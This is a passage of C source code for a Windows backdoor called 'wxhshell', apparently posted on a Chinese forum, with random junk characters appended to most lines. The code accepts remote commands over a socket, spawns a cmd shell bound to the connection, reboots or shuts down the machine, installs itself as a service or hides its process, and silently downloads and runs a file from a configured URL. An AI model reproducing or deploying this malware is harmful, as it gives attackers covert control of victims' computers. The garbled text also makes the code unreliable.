  // 帮助 Op0*tj2i),  
  case '?': { TJYhgna  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e,C c.T\o  
    break; _V3z!aI  
  } u'? +JUd1  
  // 安装 E$lbm>jsb$  
  case 'i': { '7oR|I  
    if(Install()) l4DBGZB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q=^;lWs4  
    else qBF|' .$^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [%^0L~:  
    break; QE/kR!r  
    } /- Gq`9Z  
  // 卸载 ]$#bNt/p  
  case 'r': { ,~7~ S"  
    if(Uninstall()) 0Fkr3x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5voL@w>  
    else Y;Nq(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [!U%''  
    break; H%vgPQ8  
    } 6,4vs+(|\  
  // 显示 wxhshell 所在路径 Wpf~Ji6||  
  case 'p': { I3 6@x`f  
    char svExeFile[MAX_PATH]; 5ppr;QaB  
    strcpy(svExeFile,"\n\r"); ,i6U*  
      strcat(svExeFile,ExeFile); b81^756  
        send(wsh,svExeFile,strlen(svExeFile),0); `[$>S  
    break; }bi hlyB&Q  
    } nYyKz Rz  
  // 重启 C_3,|Zq?|  
  case 'b': { 3` IR ^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CH `Kpt  
    if(Boot(REBOOT)) PkFG0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H3!9H  
    else { sI6*.nR  
    closesocket(wsh); PP! /WX  
    ExitThread(0); tJ\v>s-f  
    } <c5g-*V:  
    break; t[;-gi,,  
    } 5OPvy,e6  
  // 关机 G5|nt#>  
  case 'd': { v~x`a0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c)Ng9p  
    if(Boot(SHUTDOWN)) 4-HBXG9#/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0"4X  
    else { 3 }sy{Mx%9  
    closesocket(wsh); fP 3eR>e  
    ExitThread(0); .|CoueH  
    } f#Ud=& >j  
    break; o5Rv xGN  
    } x?rd9c  
  // 获取shell / \qzTo  
  case 's': { .Erv\lv*  
    CmdShell(wsh); EPwU{*F  
    closesocket(wsh); VI|2vV6?  
    ExitThread(0); Mq\?J{E  
    break; G_qt~U  
  } QeT~s5 H  
  // 退出 <8~c7kT'  
  case 'x': { oR%cG"y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HoX={^aG%  
    CloseIt(wsh); S -,$ (  
    break; f/z]kfgw  
    } >mtwXmI  
  // 离开 Zqf ovG  
  case 'q': { F<iV;+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9s!R_R&W.  
    closesocket(wsh); !yi*Zt~  
    WSACleanup(); Ve9) ?=!  
    exit(1); %<8?$-[  
    break; mYfHBW:  
        } OW6dK #CFt  
  } ~233{vh$=>  
  } Bx)!I]gi_  
Zcw <USF8  
  // 提示信息 fHwS12SB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OK-*TPrc  
} T+gH38!e  
  } ?ecR9X k  
~("bpS#ZgD  
  return; -ert42fN  
} ,+Ocb-*  
PYNY1 |3  
// shell模块句柄 w`< {   
int CmdShell(SOCKET sock) mm*nXJ  
{ `tuGy}S2  
STARTUPINFO si; U)iBeYW:  
ZeroMemory(&si,sizeof(si)); } gwfe H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JoG(Nk]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E:B<_  
PROCESS_INFORMATION ProcessInfo; !]fSS)\H  
char cmdline[]="cmd"; XR<g~&h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1Ke9H!_P  
  return 0; dEI!r1~n  
} [_ uT+q3  
GbQg(%2F  
// 自身启动模式 *q\>DE=7  
int StartFromService(void) 4M0p:Ey '  
{ > Xij+tt{  
typedef struct <Mj{pN3  
{ NU'2QSU8  
  DWORD ExitStatus; \R-'<kN.*  
  DWORD PebBaseAddress; JSylQ201  
  DWORD AffinityMask; {md5G$* %  
  DWORD BasePriority; }Q\+w,pJgN  
  ULONG UniqueProcessId; YUTh*`1k<  
  ULONG InheritedFromUniqueProcessId; pVzr]WFx  
}   PROCESS_BASIC_INFORMATION; BW3Q03SW6  
\d]Y#j<  
PROCNTQSIP NtQueryInformationProcess; 2dHsM'ze  
UWK|_RT6SA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kCoE;)y$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]%FP*YU4O  
@,c` #,F/  
  HANDLE             hProcess;  '.>y'=  
  PROCESS_BASIC_INFORMATION pbi; gN7 3)uJ0  
D`'Cnt/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qK2jJ3)>  
  if(NULL == hInst ) return 0; Hi/[  
rl$"~/ oz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :O,r3O6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CF\wR;6k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;_|4c7  
6U$e;cr6  
  if (!NtQueryInformationProcess) return 0; /`nkz  
=YfzB!ld  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j(K)CHH  
  if(!hProcess) return 0; FU J<gqL  
rwio>4=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $/@  L  
!y>up+cRjl  
  CloseHandle(hProcess); Oo FMOlb.Z  
T}29(xz-(h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?E}gm>  
if(hProcess==NULL) return 0; )UTjP/\gN  
Ht/#d6cQ  
HMODULE hMod;  4~ L1~Gk  
char procName[255]; ])%UZM6  
unsigned long cbNeeded; h|`R[  
0E,QOF{o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fR+{gazk n  
Doq}UWp  
  CloseHandle(hProcess); KhX)maQ  
fE&s 6w&  
if(strstr(procName,"services")) return 1; // 以服务启动 nt-_)4Fm  
r:E4Wi{\  
  return 0; // 注册表启动 J P5en  
} UIg?3J}R  
KsK]y,^Z  
// 主模块 ;3xi.^=B  
int StartWxhshell(LPSTR lpCmdLine) gy~2LY!}  
{ `-R&4%t%  
  SOCKET wsl; v}D0t]  
BOOL val=TRUE; *QI Yq  
  int port=0; w Jp1Fl~  
  struct sockaddr_in door; I|>.&nb  
J7aYi]vI  
  if(wscfg.ws_autoins) Install(); /me ]sOkn  
e>.^RtDF  
port=atoi(lpCmdLine); |cp_V  
a#[gNT~[  
if(port<=0) port=wscfg.ws_port; BafNF Pc  
2QEH!)lvr  
  WSADATA data; yGrnzB6|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GO@<?>K  
?*r%*CL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZU `~@.`i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BYHyqpP9  
  door.sin_family = AF_INET; GM1.pVb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n9k  
  door.sin_port = htons(port); [e@m -/B  
A{k1MA<F6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { < 3*q) VT  
closesocket(wsl); S')DAx  
return 1; hA1B C3  
} Z]bG"K3l  
{<gX~./]c  
  if(listen(wsl,2) == INVALID_SOCKET) { e{Vn{.i,5  
closesocket(wsl); ,F` 1VpTd8  
return 1; So e2Gq  
} f7!48,(fB  
  Wxhshell(wsl); &V SZ  
  WSACleanup(); Kb;Pd!Q  
wgolgof  
return 0; x _d   
gd#?rc*f<3  
} M8\/[R\  
a}|<*!4zUQ  
// 以NT服务方式启动 9IrCu?n9b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mqk|H~l5c  
{ 9 BU#THDm  
DWORD   status = 0; Eyk:pnKJb  
  DWORD   specificError = 0xfffffff; /YU8L  
2Q@Jp`# ,4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V m8dX?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~)>.%`v&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZGI<L  
  serviceStatus.dwWin32ExitCode     = 0; ?p 4iXHE  
  serviceStatus.dwServiceSpecificExitCode = 0; V>E7!LIn.  
  serviceStatus.dwCheckPoint       = 0; V?) V2>]  
  serviceStatus.dwWaitHint       = 0; w9RBT(u  
&+ PVY>q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %H&WihQ  
  if (hServiceStatusHandle==0) return; =_g#I  
i ps)-1  
status = GetLastError(); |22vNt_  
  if (status!=NO_ERROR) `' EG7  
{ qdKqc,R1{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3XQe? 2:<  
    serviceStatus.dwCheckPoint       = 0; 5 $$Cav  
    serviceStatus.dwWaitHint       = 0; X%JyC_~<  
    serviceStatus.dwWin32ExitCode     = status; Q8QB{*4  
    serviceStatus.dwServiceSpecificExitCode = specificError; vdB2T2F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i^Jw`eAmT  
    return; F^%\AA]8  
  } K3h7gY|.  
nR@mm j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E]g6|,4~-  
  serviceStatus.dwCheckPoint       = 0; w'$>E4\   
  serviceStatus.dwWaitHint       = 0; +ug/%Iay{k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ygkf}n  
} ?1 Vx)j>|  
T"C.>G'[B  
// 处理NT服务事件,比如:启动、停止 ,)J>8eV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -r_\=<(  
{ :"Tkl$@,  
switch(fdwControl) 89{;R  
{ uR.pQo07y<  
case SERVICE_CONTROL_STOP: V lO^0r^z  
  serviceStatus.dwWin32ExitCode = 0; FV aC8Kw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z[R dM#L  
  serviceStatus.dwCheckPoint   = 0; ZU.E}Rn:  
  serviceStatus.dwWaitHint     = 0; tSoF!@6  
  { y:$qX*+9e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9,\AAISi  
  } }aXSMxCd  
  return; ,WnZ^R/n  
case SERVICE_CONTROL_PAUSE: '/9MN;_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wxj}k7_(`A  
  break; QfPw50N;  
case SERVICE_CONTROL_CONTINUE: g+QIhur  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `_ M+=*}  
  break; 4oryTckS  
case SERVICE_CONTROL_INTERROGATE: V6((5o#  
  break; T \- x3i  
}; \dE{[^.5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OK`^DIr5l  
} PvjZoF["  
`U\l: ~]e  
// 标准应用程序主函数 T3"'`Sd9;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8'TIDu  
{ fGs\R]  
)t7MD(  
// 获取操作系统版本 GVn'p Wg  
OsIsNt=GetOsVer(); 7 <]YK`a2d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n6Uf>5  
 < ]+Mdy  
  // 从命令行安装 wmXI8'~F&  
  if(strpbrk(lpCmdLine,"iI")) Install(); xt "-Jmox  
-JPkC(V7]  
  // 下载执行文件 c>3? T^=  
if(wscfg.ws_downexe) { 5T(cy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {r|RH"|?Z(  
  WinExec(wscfg.ws_filenam,SW_HIDE); y\-iGKz{0  
} /Ix5`Q)  
F|.tn`j]U  
if(!OsIsNt) { 60A!Gob  
// 如果时win9x,隐藏进程并且设置为注册表启动 4t/?b  
HideProc(); 8)pL0bg  
StartWxhshell(lpCmdLine); J9j @V4  
} \.sC{@5K  
else OQ 4h8,  
  if(StartFromService()) e 6>j gy  
  // 以服务方式启动 ~EXCYUp4v  
  StartServiceCtrlDispatcher(DispatchTable); R~[~(`/S  
else 2Kr>93O  
  // 普通方式启动 }opMf6`w  
  StartWxhshell(lpCmdLine); 1|H4]!7kE  
:(yu t  
return 0; ]F>#0Rdc  
}
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只看该作者 1 发表于: 2006-10-10
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